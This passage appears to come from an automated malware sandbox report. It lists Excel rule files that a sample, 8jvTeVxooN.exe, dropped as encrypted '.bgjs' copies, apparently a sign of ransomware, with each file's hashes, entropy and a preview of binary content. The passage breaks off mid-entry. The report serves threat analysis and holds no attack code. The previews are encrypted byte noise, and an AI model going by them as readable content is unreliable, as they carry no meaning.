Preview:	<?xml.[<Bzww4Z..../-..e...............I....z....mJw...k...\.r..+`E.3_...H..V.&..l:)r....5..0>..G.N! ......*..gq.....\|..o.u.....e..e..E.{Ne............V....q..e.....B..6.w[...$.Y....&.H...1-.~..'...d..V...{qYW..o~.@........Y.W..u..u.P...u.,.FD}V5..-.'.O....."....e..Y..7K....]w.....U.y9.O..Nh;.'.J=.~..S.l::u..n..d....z<.5H..n..d \ih.."..\...M....u-../I....B.._.7.#..\....=l#..hr....$.......}...`..s..t&J..$..i:.=.b.,ck..... ..ys....;....qt......F....>XA...-4s.Zg..D().us..J.t.d5..[..F..Z..N......ap..uG##...@..~..{..W0w.p.v..B...&'0....z.pwOr..b...vt_a.}..>.L.P&.&....y..1........@es.4p....e..>..3.......]u...Y...J.<.U...eQE2.Qd]....g.:.o....Bdv5.N..3.(=.u..?7'.R...j.9.W>]....Q...@U?+.,.$...$d.o..o....cV..0.Z7..@pr...@...+....8...c..1wl...U[..V.:B..8X9...h..?e..7...$qN..........Z.MoI....h..)P......@.#......,..B.Z.".....d0g..}P..a.T._.......S`!../..+$..h....A.g.r+..\9G..q.D...[.9.{"0t.i.pt:....X....WA.V....C^..i..yB..%vK..;.....+...]=`4..q~Z6iwS

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.940918706321385
Encrypted:	false
SSDEEP:	96:5X7MjHLVH0F/ApE5cWL2sLsfzPCA1sJ7rDLkmq:5wjhUF/ApWEfzPCA6Z/kmq
MD5:	ACD4D992FEFCDEE136D560CDC89D2FF0
SHA1:	7B64A621C122FD333CC36950A31B953CFE6609DC
SHA-256:	81F4BF87812232531B3DCF55121EF1785C7D3E5E1F7ACD2ACFA9219D023BEA72
SHA-512:	77E0C756976313BBC355947B653C282BBE77E8129EAF26E708FF83B3EFDB5293B3F225AEFE6F6AC0760C47C98D2E0EDB491B563410641A51DFA47F24004F2CC8
Malicious:	false
Preview:	<?xmlv.wB8...8g..x..0..}....h..#.'..6..jX5D........S.,..W4....r.....oQ.g......p!.E..".P..IT..Fd...AB&..G.Z. I,j. ..2.=.X.....*p%..b8.(T...8'X...3'.rS.......$G......b....U...v.........H..T..U{u.......MY...wg.F2..{......m..;.p^.Z.4..........i.JRG.p.!a.<..W.J.ek.....@t..8S....%...h.s(/...Xa.MF.....(....-..$.R8.%....~.fWM''e.^..K....?...E..0.zq..r..........w....Ji..}..c....6.OXUOu...&.......].b...M....}yH.._f....n1_.........Z.R...N...?.5...pT..@..4..V.;..q2...@?{..q...dc......>}...4.RVz#..3..I..r...]/0.G.}'......<.. .y$\.u.m!..r._\....cC./.eK...P.D..T.qm...i}.....a....3....w.4..R.....l.H?./...i.(...N.n+.W.)~...yy.y....l}..~B.^.[y!...rO.}+...4h}S...j.S.X9\!i8.;.`.........=......u."+e.............NQ..D..xF......g.>.....P....X...A.....j/.?..6.K.@..kY...M\...tp!.m....U...1H.sL...w.l..[.^K..1.^........./.z.b.F..Ykh.j.......E?@o.lE...#......q9.k.TU.z..(W.Ju....T...=..B..."..R\|..N...D?.\|..v......+...j.....,......1%......\|..t...%...........=. ;.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.839469268330297
Encrypted:	false
SSDEEP:	24:GtKVUzZ3w5H71WktC2k6vjYCsYBYw752OSDilehWXUHsQelaM0OmjObD:uZA5bLt46v0g752OSDkePHsvIebD
MD5:	70ECDBAE56F9A53004EF3025093A599E
SHA1:	B1EBB0CD6E1DB1AF1B9BD2BA62A22E281247B011
SHA-256:	AB8EDF8D96687BB553EA301B35B6948D0708EFACC2FE8E586ED8E0C001353AC4
SHA-512:	12F3E60CABEF57338A6EC58F197C2C8660E8C637D0BF981945E2A0B963F3F6637D5EADA476750B5016268EF648DBFAB66AABD271015BBCB721B661732D278867
Malicious:	false
Preview:	<?xml.8......}...~R....v..FN.I.n..>.).p+.#vfr...@..-\|...q.<4.....(...T`.i......I..! M......z.}.R...$..'9.......x+...:.T...%qS...+....d..i$...tjI....,."....'....J..#.... i..v..9[.L.bLT..x(.J\|.T....b...."..S.,:E...B..X.z.l......'l;...[....q..'...1...._....5L .../...t!...J..H......R........\...f}.v[...K~..N....8.M....=...Q.....aB.. ....KcR..{..=Fy.rz..$!5w.Uv....e.&.!..5.id.l../.{.8..?.%.c.....K>sr...$.Z.C.c...0.hF.....`o..J^..\|..<....rq[D..j0.%/..c.~z3.Pj....y[t.[Y..U..m-...<..j....[...5.&y.....#3...W.<.x.HH.=.....e..T...........[9.....F..EpM.H.".. .e...rFI...Pr".E..S......k.H......!..]Q7TRx..%.(..C....H9..+....c.A...~.......-G.1.(....K.S..J[!.t%....Vv..~t...q.......^.. ..=7..n(.4:.C..J..._}Z1.^.?..}..Z!...../s^....MG1..u.+.R.z...i.......u.^/..nQ./...K......%...F.(......e.U..5...B..."T...TE..ed...\|..^.b.R..2."..&z(t.8..Z.^....d...0.0.]j...1V..N..Zy.B}q.....gcx.VKS.&s.=.g3mE~.K;.%}.....t?...A^...\|....+..L.?...(-.k7.....".3..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.976934279634383
Encrypted:	false
SSDEEP:	192:4UEg3S268BHVRdDzT9crF5xU7X+Z6VMzt8ucuiV/uaWOY/:1Eg3n1RdveZ5x4X+ZuMztpcuRaWO6
MD5:	FBD1B3B0AB50A83F910283FEFDF76E3B
SHA1:	8EE2A19B3ACBF505CD553B038EBF785499F2BAC1
SHA-256:	11DB1CEADB8EAB727C5FF87C5656125188DBE0BA2A4FC6DAACAE0FC46F2E4D73
SHA-512:	1903468C9AA13991AFEF2FD41CCD7297C06FBB23D851D7A615980154A20D512C5081D9B196ED7639E751FEDD5454D9F89ACC2CA41D5DCA16A3D43A7D65C32B2B
Malicious:	false
Preview:	<?xml......4. ;..@#....v4.N..\e.c....y6}....._.,7{..O.Z&.../...Sf.}...%.............\..F...j.@. .$.{kE.u.....+.?..(.YO.G.n..h/.wj.c.8.]x...=HZ..B..`v`.. 7...w.c.0.u.....I....ULF.....K....#@kG.4x+.jC.;&..}.Hq9.+h.d...V..&T.{.b.L".6.....L.@q..QN6......h.LYE..f.<.....1..=.~...@....Df.].Zx~.H...5.m.^>Q ....a..Q..[.3.D...k.....V....g.q.\.&..c.r..`.E.L..../.v.(k.....+.2OQ..2b...9v.h.,.6q..,H..}.C......+.....a>.9%...b.a$#.....[.7.......T.....z...j`...>DE. ..T,.eE.......P....._.k.......z..:...-...e'H...u4....L..KG\......\|.Z......(2H.l....?{..c.q.u..P.4]bcc.Uo.&...K..L].cP..}n.q..CTb..p.m..bq..0......w...Z...G.-..'.D.S..<.f[O?>.p]G.}.A,..j.,..]....d.VW...b.d..A.......<.....\.s..Ey.....`:..f..)..h.h>...p...U!.q...1.q.Z...>3"..@...].\.S'H..I~...%......B.m$<........R......O.H);DIS...E..dD_.....,x.{..P..T....>..4.B..R.s..E..+.m.... ..l9....c..y.A.....X....d6..L\|.....&..jc...i....Z...8xc...>]....x..-......rB..S...o...s.....eU..........\.Q.>,Td@.Fe.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.733652240564771
Encrypted:	false
SSDEEP:	12:OiZaQopn4OtlKriBgcUns/0yCgBmYRC3qaMM3Io23qzPKH6z2ruOcii9a:3oQWhIrkTIscRYwaaMs26zPKH6z1ObD
MD5:	20099457470F0DEE4291E618365DD506
SHA1:	A2F70DCF43C41387300FD3D1FB5B4ED18EB909B4
SHA-256:	4EC2BD9C897CB5BFB67A25A454B83ABA908CF0272EFCA8FE39232A1004F89F13
SHA-512:	F2E23995D76EDDB11EE34BDA9C326CF9C951AEEA992910FC482011ACA8780511454BC4E6611C23998DFF1525DB68EAE9A35B771A250DD85A2FE4A96650CF2B0D
Malicious:	false
Preview:	<?xml8..H.Xyi...S...0uM...\..1.>.Hw\|1ME......d.....}5...`Q..Ap..y)..exLQ.....F.....~....LH/....g............;y....a....NaR..T;..0...M.T.;...M..T..../...:..4s.aki-...4t. ..9.@...s.f.<.4.\.G....Ar.8%.%.....N..WP...$0....\.a....5.Wuo.-A{.-.7G.wY.Q..T.s.C(I\..:..-..Gn.4..._.r.....B...'..M....Q.-..."7_~....#..mVo.<.^Wr\|.-..?.....3.i>F+...~......y.i.~...N...\|.B............#.....w..')......}...>..L..'.(#.6.n..8Uo.D=49A...).......h..V..w.`.......c..r%.04.d..<........r..H...+.J)...24..eGl0!.......9...f..R..b..^.Sq.)G.n......f...V.4..~..J.=...}..[xs...`...h,..{p.s.0...dY.*#.](..=(.YG..`.6.......BpE..F...)....N!.8..8l.]\.Up.........Z?.(<iG.qd...#...4.".98.(.t.}a.!.....R.-c.K.I6...2oP...........Y3..E..;.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.92035760936423
Encrypted:	false
SSDEEP:	48:IQ04gImCIwnOtHR/oSIvuGwLY32zTUFBHLJ/bD:IQ3gpCIJtuSgw03pFN9P
MD5:	B3EE11C15D5A283B2BFC0E76191D5412
SHA1:	8CA13A3E6D1E26563F5F729806BAC1FFB5CB650D
SHA-256:	1059D38A020EADA6AB1E86C3C05ADDE1F093F0F7CDD8F9C0F9CE669EA5BE2456
SHA-512:	5C5BB83949F2105A6D547E4CAFF0F6D909FFE1C3FB17BC85ACC779467141E86C3A23487FF50A20D0015B6E773CBC6D12C3E01D0BC6456E6FAC546266E7BEE91E
Malicious:	false
Preview:	<?xml...o..m\...z.....A...}[......B..u...@..f?F...hmMy....... ....uFl.w.nE.A....x.\.Pk.RZN...L.....-~.^.\|...$+.Q....!.D..Q..j.#...- ..5.-@\|.I...iX...>.i....rt.^=..q...K5....0{,.@......i0..XP..2..}4.G.mWf...2..[..Ku.....;.+/]^.......T.}..w.{.I`.....C2B}..%."x.u....@n..@4..Sy...<...[y=..&....w^..E..I..{N1F.c.=.....2....X.X}...;s...z..dQ...../.gY......E...$...6J....x.F...........P.ejpZ..(.Iq.~..S^.S..3t.!.D&....^[...r.e6...k.I.<.8..AW.(..};!;s.Mq$.[oK.15~.Vayp$..........!u....U^..#..FI.!ga..U..z...@.TY...w......+..o.&}b1.\.7,.....V..bu..b.[........~...x...}.'r....8.{`....i...D......j_....K..3!.m......3...G.rZ.5....=..7......J.S.......y=r.y.>.....e...."....'....]...{yUs.....].%h......3...E.b..V..Y.1..E.=+..@...#'_9?..d.EW...y&...7.q.B.z...T.K.S..>........a.5.........h...R..4..~{:-.9..g$.../4.M.].N....\.r.`iJ....m.F..k._...q.o.P.....)...E..xfcu..NH...oQf.I.8......k.b.........?.-.^XN=D?.4b..r...I.Y&.y.k.M.{.`.?..\.m.......5."G;?cT..\|/m...AJ.P

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.855204608474807
Encrypted:	false
SSDEEP:	24:iNh6yz1fPM+Brhz/ZCbFCrODNFLaEll2lsqNIp2a6FAfCrHSObD:Mx13Hfz/I8rOD6E/25XAiD
MD5:	4EA29424AF645D0856DECEC141DECB1E
SHA1:	0930FF6B619E964CEFAA0F758A5AE2BE0DFF49AE
SHA-256:	58CA835B002D8F8B85EEB1778838A4B9A0344371AC8E79FA11C9FDCB0C1C218D
SHA-512:	2AC477CDC18CAE1739938AD3BCECDA15247FD1A77572B74D5C46160552E0DE1603E0ECC2761E021FED2E8A07AB892DB3BF0F89399A92887F8D3F84E61D0481D3
Malicious:	false
Preview:	<?xmlwv.9...Vd...v{.......>;.!.(..X ).J.\|q...5.4?....vZ..G..>G+.........p9..v....._.,.0n....>.r.......Y.S...yI.B....E...u./.1.....I....-M........Y?.^...!.$}.....)....Y......PW.^K.>1.aN.)....../'.@...t..0.;g..N"_(_.2....}6.J.......5..a.=..Ra<.....C?.gNXl.X%.G.......N..Ku..S..5.I.....4$......P..8..f.i.(...`pu..m.4..X..f...!i.......s6..R.<w...}.6(`..zu)..%.R...o}.]Q`&.`.!.\|....?.......y.4(. .TP..l\|/..X,....7..X1[...vN.}.R..<.T.'...8..>.i....i...c]..\|=...<\|i......n....su.... e..i.?V.4...2S~.a....x.2....).....\.[{..P......i8...j?....q..8......s......"....p0![_(...6.Xp.-..K.hH;....,...L...'=...m...M~._(..6.m.\|...g.Ld..l..k1.h\|...........ei.Rc......Q..K2(^.....f.k].ZF..!..A.....y]...V..P.-Og.i..;.Y.^.K.K.....m\|.9..I>......b/..>.hQ.....)7..+}....%.\.N.6g\S7F..$..A..#............"=eU.YF.5..f.....o.r..L{......1...z..#..\..}.1gQ.]5t..4v.`.i5...%..&r......Rl..b.Z./....q.n..J........2..\....=p..$m.*@.e.9....V>{...[...'..x...C...I...<{..z..A..#..)..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.935490280021833
Encrypted:	false
SSDEEP:	48:7f6NgibEGOT0FlTLe+Crf+fzJ/T6LGoEc0fZ8OHDOwsVoK3xqvywD:7fcbjy0FRmWfF/T6Lq1fZ8OHDCVbLs
MD5:	8A10BA15D732C5D77C0C73E909A64395
SHA1:	D03A26ED271AB8B80601E4E7D2B413608890B17B
SHA-256:	67D3E8E5D669441F2484134D74F93105755142245AEAAD7F62C609163AB398E9
SHA-512:	BB4FB9386884852B30987A2123CF242E40638BAC6A7CB8D0EA7F08A0B3F368C4DA18847D65FE5A156BBBA117C84DF512F3BF4039B44AED8AFA76D12AE1DDBD64
Malicious:	false
Preview:	<?xml..C..~w......'......Y..0.S...H@.....!<D....Z..],.h0............zU..X..n..'..o.....oha... "@$Gm).R[...kd.'....w...I.o.G,._.A..W.UK<@9.. j.s....;-..?.!x.1..C#....}...<....=....W9..hVgdG.Q.1E..BXs...`.....G..'.Y...m.&#.(.F.?..?....T........B%..E...W/..H/.G.m..._.>.....m..=.p...x3....A'T..!.3......'.7Y........r...j$..m...5.6..O..D..a..b7.s=..n..I...../&..W.........0...C..K.............~.....CYdZ..;...q.w...Z..j.........=..!......^..U.ynr..u...... 7.i.v......7F.)..PJ."..K.\l..yf...r.+w!....1...{.ek......_..u..R.H...>q...+..0I...Z......`...`.....^<......>X.f..n.#.Z<#.=..z....Q_:..2.R P.x.Nx..E...8{U...3..g.Y.........j.xO;....42.%Nq[..._..,6kR.d.6.g$....N....p.n.....$...\|....Wm{.x.o.Oi..-:)2)s...&...D.;y.G..[0 ..J.j.+...Zz..HO(X.."#....Y.\4.r)...@.....&.e?......n.^z..../..hH..*.tUg.xn-5\|/..W..0S..={[..a.A.....%.MP3.).b..iJB.L..i........S....,..w.B..p..^.f......x#s.5._.0...G...U.....ol.@...J..p.I....FG...Zu.IV..=...J..9t.mO

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.891247723532829
Encrypted:	false
SSDEEP:	48:fK2Piu731JwhLCEtVjJG5B7Q2kGipCIMcIuCf4ntrw3uVgZ7Pmy9lcyVlruUPtD:8ECtj85bu6uCCtZ67PmCeyvN
MD5:	0147C12863D4E458543408AEBEBDD504
SHA1:	777D05EC9D88ED3C1605E0DA57650149A30F4F6F
SHA-256:	C29A3DA9E7C5E3BA4BFAFE11C7AFEA3AE81E46F204047D26F139A91A505EEB60
SHA-512:	395CDC5EBB39B5C9F1BF74D6C6E17C41B2EF51F61742CB63EB6D2852D30F38B6B60D08E4E9C6F8640843AA55CDEF9511CDE0A3D085014A457DF669286E34BEF4
Malicious:	false
Preview:	<?xmle#..'...H....%.&...$....-..m~........M..yp.H._1l.+<.'...Z.s.Lc..mV...YC.)...xu......I..2.%.".1.-.......l.6.;..4;g.1.&e...Ldo..........:Nv.v....Z........`..:..3_.x....ja.....r.......s..&.......F.G...V.\|G..AN..zH..V.N3e/..W.D.n..".%O.....f.).[@M....<.\.ZCtNG..A....t.P.....E.......eq.;E#.Y.?\..R.....5.6.Rz.....z.%`.Z...O....i....q..A .1b.K.K.....@ ...C..[}.......T.H..A..Z..zM.Iv.5.......#.]b...W.......4..3......-.U..y..%Z+.....n,:...C.!..:.hV.+...#.9...x..'.z.R.O.....UT...P7...K..~... ..yZ...}..c...V.^.)....@.=\..p..y.N5E...:...k....S..sm...}GE...-..b)\|#.2.Px;....4N...8...~....\0..B..=Mi.c......6.'.kf..;.p...!6....x.4s...4.....><....J.."..o.6.wQ..3!N...?.wQ..l.Z....,.x..u............KM..V{..N....~.....V..32./\.@)<.1.T.H...X.n..;.jl.m...>P.R...'%.......0gZ....8!b.c...."...s...E.s.].%..t@D..=`..........4.v.brX..'..JW.......p.}...G .R"...O.o......D..h".L.....:o.G.r...h.y..j8.+.*.N>.I."\.z...eR-.E..Ls\|............%../@.^..G..5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.974581181739972
Encrypted:	false
SSDEEP:	192:gwdt7pj1oDvx/d6kQgm87AIZbiS6tbdEQMY7MSspYsrzPeVYS9yR:gwjFBIl6WmE/6tbuVppmVTQ
MD5:	432D2DD01423322DFF3FD153753F6342
SHA1:	F6A4B42C41B6C545E73DA5EF7BF1BBA51534590F
SHA-256:	695EDC352A9E4DFE77F7622813CD42EFFAC27962276DFF2322D2EC2882434EB5
SHA-512:	E835702E16C5EC9B1CDA1A59ADFFB53EA40AA1E53875B89D43C50283BEFF3EA8982C6BC8B0F774F55298033A4D800BA4010CB10FB42DEB20010597996460D7F3
Malicious:	false
Preview:	<?xml%\|#.bn.^..ZWN../g.)s.:.!...Im.1..r!mp.[)......,Zu(.+...D3......Z=>.}$.,P.s{..I.g..2.Hs..k\|\|e.]!Ad..7'.....hc.. v..;...qh4..\|\|u.J..I.G.GD.X..&.....M......a..S.D......... ...0N...s.x-,-..\|.Pc...fw.A4..[.^........Qy.F.wT.?..5...g........(A... . .b.5.gZ....M.v...^.R....Fb.HL.R6.F..H../..OS(...\|.g.lo..E.1y.=.J..{.2.7q..{..V....T.M.......3..`{.Q%.Y..RN....Lba.I%......W.......RQ..G.....VvV}"..\..F...U_.....P..\|.@G..x.t.....u...Ir...8.....8.Sd..y+.<..>...}+..sK.=......u".....b...x...l.]..%...I=...Ee.{".Iv..+0d.nT."w.=...h.'...B..]....=<t...d`t...cu..#.y...xp..~a....v.*\|o.......S....O.z.W.-.j...BP-..w.a...w..........X.%..xB.4'k..N..?o.&.X........>;L......5.E....1e.>zO.......PH..1.B.,...Ok...;r&,&....'.g.."......0.......l....O.H.n.....U<.<....=...#..v\.....b.X.W..~.7W.....m...&.G......o.F.aW98....`U.^K..z...u./P.k..]..].1...:..i.F./.%.....n9.S../r.[..Y...K.~.ln>.h....K.1.......d.G.?.]...H)y..0..8`tm>..xM.b`....._\|.TC.....Cw.4G<.q..Ha./E..5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957183410117988
Encrypted:	false
SSDEEP:	96:kj2f84/PUxqkQBe+Ui1V5xIBw8GbE8HcUT5Kxp:BZExVQBGi1VIBwpEIcUVKxp
MD5:	0E7EDCE9F91110068B0A9486CD584945
SHA1:	3E7FB669BFEC6F17BC1B5F6C61C6EFAF93FF474F
SHA-256:	31F1D7521B182E46678FC2323102621C6B120C8D7A8614F2E534E636B503E615
SHA-512:	4F36FD2C6734F21E2964EC2EEB72E9C1D57E4F1D1D699EDC1D3F35EBE5EC4B9F2B92BF4A380F2729B5201C5CD8D344EF439079BD30F1AC402E1C029DA95097EA
Malicious:	false
Preview:	<?xml.u..X\|..9.^....*...?..m.\............n..q....l.f....J....M..ka...C'd-...l6...dg..S... .1v.!...<'..t.<1.ip.0..QmEY..};.(...~......CO.(.?..%.. }...N................(....5...%."..y..s....e...V.'...../....M./....mVS>.......3.....Bk...r.l.[..H.....y]....50...=.3.....j^%A...6.:.L.)[^5.8?..i..r....)NO.b.v9....z.k.E!J.Z.P....U.[....S a..O5.r.."G..R.....Z.U2h......e.....K\|.../]Hk..R.uw.:G.I.<d.b..(Bv{2. ..l....HC.j...".s..n8E.U...)).....I.$..RW..6.9&(.:.....X.b.K!.`.FH..Yuj....r...mQ.7.Bj.^...gFv...LH-....Ap...A..JK.#.<.....4h.$f.(..h...s..f...../......,..p....g...(..f.......sX...e..k...>~,..q"ORt../..G..B..W...:2..l...z...........m7.;.&.\.}..I.1.x.D.........0...-_....9...r...(...G..;=...z....i....d.P`\K....'..m{...G..m.kuo.k.....v.m...!u[U.....E..h.H...u2.~.&/..y.....M{Y....?...Nv#.FUD,~9......8^..[._F..\|(.Wb..r.q......P..L..HdY}D-.p......l4Z".@...F...t:q...._..y^...!..2......y.H....GzF....q.9!..2..S\.;.A..'..cP`vK.8.;..y.."ZJM.HL'.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.954597475109098
Encrypted:	false
SSDEEP:	96:zAjTkFhCQqr48qRg7s01LpM89/1pHEUmBEIEq4ZI/WaOs0hu9PZ+yh:8wP+xqRgQ01LpM89/1pHGBzEq7xOs0O7
MD5:	C369917E1B3F8E6DCD5F2675F35C42EF
SHA1:	5D5572C94658AA09AA028E490251BD211D673881
SHA-256:	80EF84CE390EAA204E0337EF4CED3807D2698871DEB93C61E4A61D9D70FCE542
SHA-512:	DE9F49984752FB38342164A2D429757F4D43B9EEA7A7ADFD8B2BAB65066CA9B30BF71C43DA2E17C7CDEB3F3F6AB1B3ABB553C832AD7EF6B181E0CAA02EBDE5A1
Malicious:	false
Preview:	<?xml. p...5Y....$.f+sT.6.....:9y...0......\h..r..(.RpT}e......]7m'..ib.fCpV..[..z>..X..(..\9l...t...I~.].k.c.9....q.R.F..R...v...4r.Z.h.?X_...A..,..g5..~.(b..A_.T.T.o.$.(....h....:......&/w@.M_8^..V..k.&uh.3..2z...&.y...:.P@i...@.8..Y'..)K.....k....,S.q.....8TEj...../..s'g_.....o..."@Ae..C82hT.a.s.!...k..3..../.`..r...K.3k...5.O".......4.....j.C.Mz.".......?.w/..bu.Q.o..f&.t].63.g.....%X..J.v.LZE.1..R..qn-7dvo#.r.....c3.....Q...P....-.-.n............z..v.{..OL..b...F!.g+...._.wpr....B...\Q.....Y..,U...\|>L...s....\...r...BaK..... ..F....0...0.....q7.6.........9..h.;X...2(. l.#......s.A.E.^.5.....0.7?%gK.......H.d..] .3..r.F..M.D..p8.9M.... `.W...ZYD.DR...x.&k..oT.7&.J..-.R.Tk.....^i...C...w&{..q......f......)u."..cr.......p...G..zE#...i..g.............Go.u.....,/n....%..6.}.(..<....+mo.D.Wc.67..SI.=..#...X..?......SF.[.z\|......w.1.....>.....b...fw... ..ZA._xx..........q?.7......3.......-....Gig.Z.J(e.').......J.P.....o...,..;.+.z

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.939543149428955
Encrypted:	false
SSDEEP:	48:6XEK2pHf/obayJ6g3NetmfNiFBRDYokno/Ku33DJE7LRLsHbhHxRKCHVU6D:5K2pQ6g3NeofNwbyLCHbhRRKCHF
MD5:	AA05056F3B261A1D02CBD784727F7F94
SHA1:	4A98955DAADA1036B1A8D5A981245902DA17EE5F
SHA-256:	7C7DB5155C522DD0D252829EEDE706F7BB5A1CD4931796777736F40AC6E4A590
SHA-512:	375690A46E463768BC23B37EDCBA1FE1F49E8292C2559517A45D6589CAEDB71CB3D5B681BA0BF1CC696FC6B0F1C3DA785D4D77E260578D0F685CD55DB7D42914
Malicious:	false
Preview:	<?xml..rL5U.H......Z.0..T.....T....P.4.'.).!W.._.O.I....IW#..Zx...fC..(+=V..V;...A.=..S....A...z./.e.`....Y9..m..g.o...`.>.I.DZ...o...U[..DQ.@$...d..k..b........[...0. Z..&.......X=.0.{.KcWp..0_.L.A.)..YF+e#.h...D.......w....0.....B.+..x......;.z..n;.}TrM.>v.7.Gd.(.q.E0.....-.Ku...+.5.%.....n.e%o...... ..O..r.....(...m..e..~C3c&...F.Lm_n.:........#................Hcy.}>.\|.4......,.P.'cGT.$~llD.D.$T[#X.8.hE.9...b:.`.,.w.....!>R-.e....\|..."XJJ..#d5.;?B^c.I.x.I...-.7q.x.4.../.).._.......8..-\|.>T...]...IN..U.x.7.z..".`m...x"-..NLiZ .}O.x....FV........M.......w$Ag.E.7..&..#%^6..hu..R.K.B.Q...j...\|..."I..k..\|..P...]S...f.Z\...~...U............E.W...P.N.....u..rh.}..5.F.m.i..^...$9J..!.Q..N...0...&..).n.kR.1x-.&..Jh.L..vE....fr....B.....W..........aY..jx.V.I.h...."-.1..7....kg.+.:.m."wN.i.....>..e.}....h...<.V.......]..!.$-.ry/...(m.7...OK_UA.0a.....i.....ck.P4.....ScCF....f. .4(.3{...]Q...kGi.].$.&.FZIO/am..&..?....P'KW9Hk..z..l.r_....-.G.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.965397308169112
Encrypted:	false
SSDEEP:	96:CdYMOmg70MUdXcCYy71/Y11iqVKHv8cklnJkRESze49NUonFpD:CdYMDdX1YyhHmJdOx9GoFd
MD5:	2E51DD46EDCC255F439693D115866FBB
SHA1:	24A0CE661574B24092B1710E2879A0985D00B6C1
SHA-256:	19DBF8763B8FF0A1B0EEBC87A51CF410CDEE8796ADD37D52C77F274A63293009
SHA-512:	BE75327730B7A4F558639F0F4D844BFD4F4CE61DB4121F5A158B012FDC0B5FF61ABAA8AE99A028D35104374994D29D6AC297631FFED8DA7D23506E6D8B9C978B
Malicious:	false
Preview:	<?xml%..u..L.V?...x.W.SD.....8<G........zQv.O.`.u.&.nu..\.......V......<......!.}..p..F.GU.....)2-{.0#.!...o.n....w C..D....tj X.A.Zl.Q1.....b.:..q~./...T..dR...:...NOp.<......e......-.u.o.......o.../...Z.KU.8).+...B...b..XV.8.2=cx...R.....R.[....o.x.#......y.8..n.....#..V..35G..;..Dd..w....j...e.........l.JDV...Z@..)5.Ds.-..K.@.........F.8i.c.>X...l{N...s..h...^p.$-U...V.J.D...M.R........5..7..BO&Ie..rz.PlZAJp..J..V...v....Ziw.Vq\./..j.~.....OP...'20.P...V.0...J<...@..%a.g.X>...~r.,nQ\|.f............3.f2...>..l'2Gci7.E.w.Go....DpJ....=.......I......5dd3...(..OZ...._...\|..n.....j..$.P.....n...Z.."CAy..[.ke.n...'....^...G..g......F.w...`.M$..M....L.8F.I.bU...P.....l...'.m./Y(N...h..'.QuX..w.0C...@....8..T+..0..1km...<.1...R.NC.....s....S.K...(2..;%.g.C...u.g<.......L.<@..R8.?....5@.Z"..BS.e.2..-s...=&...M...uPm.D.u..7..c&....N.-dt.oU...Xi...fZ<....gk..Y.~Dz.....{...N......W...>....".MqY...+$..*.X....:&6...}....C.0..f...y0K..:...H....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.903403014552404
Encrypted:	false
SSDEEP:	48:/VEp6u3HIB2/YramEetd0fvPNAESBfx5EdsL6zuvXD+Vt1ez8li9D:G0q22Arugd6PaP0+L6MX2t1Y8liF
MD5:	0D6FEE1A6DEBEA9CE563D1DE1D5147D8
SHA1:	47881BB83CAEA4EC5FD8AB5E785051E09CE1FEC6
SHA-256:	9F2EBA799FED02AE8DAFA8B185E6B8AC60E99AF191E4D95C059728AB7B2EF54E
